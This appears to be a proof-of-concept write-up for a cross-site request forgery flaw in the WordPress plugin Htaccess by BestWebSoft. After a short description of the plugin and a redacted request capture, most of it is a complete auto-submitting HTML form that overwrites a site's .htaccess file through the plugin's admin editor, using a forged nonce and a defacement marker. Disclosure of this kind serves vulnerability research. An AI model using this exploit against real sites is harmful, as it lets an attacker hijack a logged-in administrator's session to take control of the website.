

...

 History

69 lines (50 sloc) | 5.26 KB

This PoC will describe how to exploit CSRF vulnerability found in WordPress plugin Htaccess by BestWebSoft

- ## About Cross-Site Request Forgery

About Htaccess by BestWebSoft WordPress plugin

[Plugin page on WordPress directory](#)

Some of the features of the .htaccess file include the ability to password protect folders, ban users or allow users using IP addresses, stop directory listings, redirect users to another page or directory automatically, create and use custom error pages, change the way files with certain extensions are utilized, or even use a different file as the index file by specifying the file extension or specific file.

Using burp to capture the HTTP request on the .htaccess file edit page we have:

◀ [REDACTED] ▶

In this way an attacker is able to direct the victim to a malicious web page that contains the exploit code below, which will arbitrarily edit the contents of the `.htaccess` file and take control of the website.

```
<html>
    <body>
```

```

        <form action="https://sejalivre.org/poc2/wp-admin/admin.php?page=htaccess.php&action=htaccess_editor"
method="POST">

        <input type="hidden" name="htccss_customise"
value="#+BEGIN+WordPress+Hacked+LoL#+The+directives+
(lines)+between+ `BEGIN+WordPress` +and+ `END+WordPress` +are#+dynamically+generated,+and+should+only+be+modified+via+WordPress+filters.+
<IfModule+mod_rewrite.c>+RewriteEngine+On+RewriteBase+ /poc2/RewriteRule+^index\.php$+--+[L]+RewriteCond+%(REQUEST_FILENAME)+!-
fRewriteCond+%(REQUEST_FILENAME)+!-dRewriteRule+ .+ /poc2/index.php+[L]</IfModule>#+END+WordPress" />
        <input type="hidden" name="htccss_form_custom" value="submit" />
        <input type="hidden" name="htccss_submit_button_custom" value="Save+Changes" />
        <input type="hidden" name="htccss_nonce_name" value="attacker" />
        <input type="hidden" name="_wp_http_referer" value="/poc2/wp-admin/admin.php?
page=htaccess.php&action=htaccess_editor" />
    </form>
    <script>
        document.forms[0].submit();
    </script>
</body>
</html>

```

